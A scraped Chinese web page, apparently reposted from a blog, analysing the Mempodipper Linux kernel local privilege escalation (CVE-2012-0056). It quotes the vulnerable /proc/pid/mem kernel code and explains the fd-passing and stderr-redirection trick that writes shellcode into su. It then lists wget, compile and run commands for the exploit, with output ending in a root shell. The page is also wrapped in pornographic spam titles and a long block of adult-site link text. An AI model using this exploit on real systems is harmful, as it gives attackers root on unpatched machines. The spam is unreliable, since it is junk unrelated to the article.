婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)

Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)

熱門標簽:佛山外呼系統平臺 長春外呼系統價格 電銷機器人的效果 南寧智能外呼系統線路商 聯客智能語音外呼系統賬號格式 長沙智能外呼系統中心 南昌語音外呼系統代理 成都移動外呼系統 美圖手機

Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)
 /proc/pid/mem是一個用于讀取和寫入,直接通過各地尋求與相同的地址作為該進程的虛擬內存空間進程內存的接口。
  
 影響Linux 內核> = 2.6.39
 當打開/proc/pid/mem時,會調用此內核代碼:

復制代碼
代碼如下:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

 任何人都可以打開/proc/pid/mem fd 的任何進程寫入 和讀取,不過,有權限檢查限制。讓我們看看寫功能:
 
復制代碼
代碼如下:

static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

 看代碼有兩個檢查,以防止未經授權的寫操作:
 
復制代碼
代碼如下:

check_mem_permission和self_exec_id。
Check_mem_permission的代碼只需調用到__check_mem_permission,代碼:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}

 有兩種方法能對內存寫入。
 
復制代碼
代碼如下:

$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的輸出“Unknown id:”,我們可以fd 打開/proc/self/mem, 來確定在內存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 寫入到內存中,獲得root.
已task == current測試, 用self_exec_id 匹配self_exec_id 來檢測fd 的打開。
Self_exec_id在內核中只引用的少數幾個地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

 我們創建一個子進程,用self_exec_id來exec 到一個新的進程里面。當我們exec一個新的進程,self_exec_id會產生一個增量。這里程序忙與execing到我們的shellcode寫su,所以其self_exec_id得到 相同的值遞增。所以我們要做的是把exec一個新的進程,fd /proc/parent-pid/mem 到父進程的PID。這個時候的FD是因為沒有權限僅僅打開檢查。當它被打開,其self_exec_id來時起作用,把我們exec來su,用self_exec_id將遞增。通過我們打開的FD從子進程返回父進程,dup2,和exec 溢出代碼到su.
 接下來調試溢出的地址和ASLR隨機進程的空間地址。
 在這里得到錯誤字符串:
  403677:       ba 05 00 00 00          mov    $0x5,%edx
   40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
   403681:       31 ff                   xor    %edi,%edi
   403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
 然后把它寫入到stderr:
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
   40368f:       48 89 c2                mov    %rax,%rdx
   403692:       b9 20 88 60 00          mov    $0x608820,%ecx
   403697:       be 01 00 00 00          mov    $0x1,%esi
   40369c:       31 c0                   xor    %eax,%eax
   40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
 關閉日志;
 4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
 退出程序;
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
   4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
 這里可以看到0×402178,這是它調用exit函數。我們來調試“Unknown id:" 的shellcode地址。
 $objdump -d /bin/su|grep 'exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'  0x402178
 它會設置uid 和gid 為0 去執行一個SHELL。還可以重新打開dup2ing 內存之前,stderr fd 到stderr,
 我們選擇另一個fd dup stderr,在shellcode,到我們dup2 ,其他fd回來到stderr。
 EXP 老外寫好了。插入一段
 
復制代碼
代碼如下:

wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

摘自 混世魔王博客

標簽:邵陽 慶陽 云浮 阜陽 法律服務 新鄉 沈陽 東營

巨人網絡通訊聲明:本文標題《Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)》,本文關鍵詞  Linux,2.6.39,Mempodipper,本地,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)》相關的同類信息!
  • 本頁收集關于Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    色哟哟日韩精品| 欧美伊人久久大香线蕉综合69| 丁香激情综合国产| 国产日韩欧美麻豆| youjizz久久| 亚洲国产精品高清| 欧美日韩情趣电影| 日韩avvvv在线播放| 欧美一区二区在线视频| 国产一区二区福利视频| 亚洲日本va午夜在线电影| 日韩av在线发布| 欧美精品一级二级| 亚洲18女电影在线观看| 在线不卡的av| 欧美电视剧免费观看| 26uuu久久综合| 亚洲精品视频在线看| 亚洲国产精品精华液网站| 国产一区二区三区在线看麻豆| 国产在线精品免费| 免费在线观看成人| 久久精品国产77777蜜臀| 久久亚洲一级片| 色久综合一二码| 欧美日本一区二区| 在线精品亚洲一区二区不卡| 在线免费观看日本一区| 91片黄在线观看| 国内偷窥港台综合视频在线播放| 91色porny在线视频| 成人国产精品免费网站| 色综合一区二区| 色噜噜夜夜夜综合网| 欧美性受xxxx| 成人动漫一区二区在线| 悠悠色在线精品| 91精品国产入口在线| 国产在线视视频有精品| 丁香一区二区三区| 色av综合在线| 欧洲中文字幕精品| 欧美大片拔萝卜| 日韩三级电影网址| 国产免费成人在线视频| 亚洲成av人片在线观看| 亚洲成人黄色影院| 亚洲综合成人在线视频| 国模一区二区三区白浆| 在线看国产一区| 精一区二区三区| 午夜在线电影亚洲一区| 亚洲aaa精品| av在线不卡观看免费观看| 日本道色综合久久| 欧美成人精品二区三区99精品| 欧美成人免费网站| 日本不卡一区二区| 99综合电影在线视频| 99视频精品在线| 精品蜜桃在线看| 亚洲男人电影天堂| 国产成人久久精品77777最新版本| 91啪亚洲精品| 欧美麻豆精品久久久久久| 亚洲乱码国产乱码精品精的特点| 亚洲激情在线播放| 国产片一区二区三区| 99久久久国产精品| 不卡电影一区二区三区| 久久成人免费电影| 欧美日韩高清一区二区不卡| 国产精品美女久久久久久久 | 天使萌一区二区三区免费观看| 国产一区二区网址| 91丨九色丨蝌蚪富婆spa| 91精品国产麻豆国产自产在线| 中文字幕不卡在线播放| 欧美一区二区三区婷婷月色| 亚洲视频在线观看一区| 欧美年轻男男videosbes| 久久色中文字幕| 久久综合九色综合久久久精品综合| 欧美亚洲一区三区| 久久精品亚洲国产奇米99| 久久99精品久久久| 久久成人免费网| 26uuu亚洲综合色| 一本色道亚洲精品aⅴ| 国产精品私人影院| 综合色天天鬼久久鬼色| 成人av资源下载| 欧美成人猛片aaaaaaa| 中文字幕一区二区5566日韩| 日本女人一区二区三区| 欧美视频三区在线播放| 91久久精品一区二区| 色婷婷综合久久久中文一区二区 | 一级精品视频在线观看宜春院 | 欧美日韩精品欧美日韩精品一综合| 成人激情校园春色| 国产精品你懂的在线欣赏| 91国偷自产一区二区三区观看| 亚洲色图自拍偷拍美腿丝袜制服诱惑麻豆 | 日韩国产欧美三级| 中文在线资源观看网站视频免费不卡| 亚洲欧美综合色| 国产精品伦一区| 日日骚欧美日韩| 日韩欧美电影一区| 日韩理论片中文av| 久久品道一品道久久精品| 日韩电影在线看| 色成年激情久久综合| 亚洲成国产人片在线观看| 99久久精品免费观看| 亚洲色图一区二区三区| 国产一区二区在线看| 欧美精品aⅴ在线视频| 亚洲黄色小视频| 偷拍一区二区三区四区| 日韩欧美专区在线| 尤物视频一区二区| 欧美另类久久久品| 亚洲成年人网站在线观看| 欧美日韩国产欧美日美国产精品| 国产精品成人一区二区三区夜夜夜| 91一区一区三区| 成人免费在线观看入口| 国产精品久久久久久久久快鸭 | 日韩欧美一级二级三级| 一区二区三区丝袜| av不卡在线观看| 中文欧美字幕免费| 国产精品三级av| 久久久青草青青国产亚洲免观| 91精品国产一区二区三区蜜臀 | 91色porny| 欧美精品 日韩| 亚洲欧美色一区| 99久久er热在这里只有精品15| 日本一区二区在线不卡| 成人精品免费视频| 26uuu精品一区二区| 亚洲永久精品国产| 在线观看免费成人| 日韩激情一区二区| 欧美一区二区三区爱爱| 国产成人免费xxxxxxxx| 黄页网站大全一区二区| 夜夜嗨av一区二区三区中文字幕| 91老师片黄在线观看| 国产成人夜色高潮福利影视| 国内精品伊人久久久久影院对白| 欧美一区二区视频观看视频 | 成人午夜免费视频| 自拍偷拍国产亚洲| 国产精品小仙女| 免费黄网站欧美| 9色porny自拍视频一区二区| 国产伦理精品不卡| 欧美一级电影网站| 国产精品资源在线看| 欧美日韩mp4| 亚洲欧洲国产日本综合| 久久色.com| 韩国成人在线视频| 欧美国产综合一区二区| 欧美精品久久99久久在免费线| 日韩精品一区二区三区三区免费| 91香蕉国产在线观看软件| 国产成人精品三级麻豆| 亚洲欧美国产高清| 久久久久久亚洲综合| 精品免费99久久| 7777精品伊人久久久大香线蕉| 精品国产免费人成电影在线观看四季| 91官网在线观看| 日韩av中文在线观看| 一区二区三区四区不卡视频| 欧美撒尿777hd撒尿| 国产一区二三区| 久久99国产精品免费| 亚洲综合男人的天堂| va亚洲va日韩不卡在线观看| 国产午夜精品美女毛片视频| 在线成人小视频| 国产精品免费视频一区| 成人激情综合网站| 欧美亚洲综合久久| 欧美白人最猛性xxxxx69交| 久久99深爱久久99精品| 国产毛片精品视频| 不卡的av在线| 亚洲桃色在线一区| 一区二区欧美国产| 中文乱码免费一区二区| 久久中文字幕电影| 有坂深雪av一区二区精品| 风间由美中文字幕在线看视频国产欧美 |